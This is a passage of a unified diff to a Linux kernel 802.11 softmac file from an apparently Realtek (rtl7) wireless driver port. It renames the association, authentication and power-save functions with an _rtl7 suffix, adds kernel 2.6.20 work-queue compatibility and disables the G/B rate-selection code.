IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one 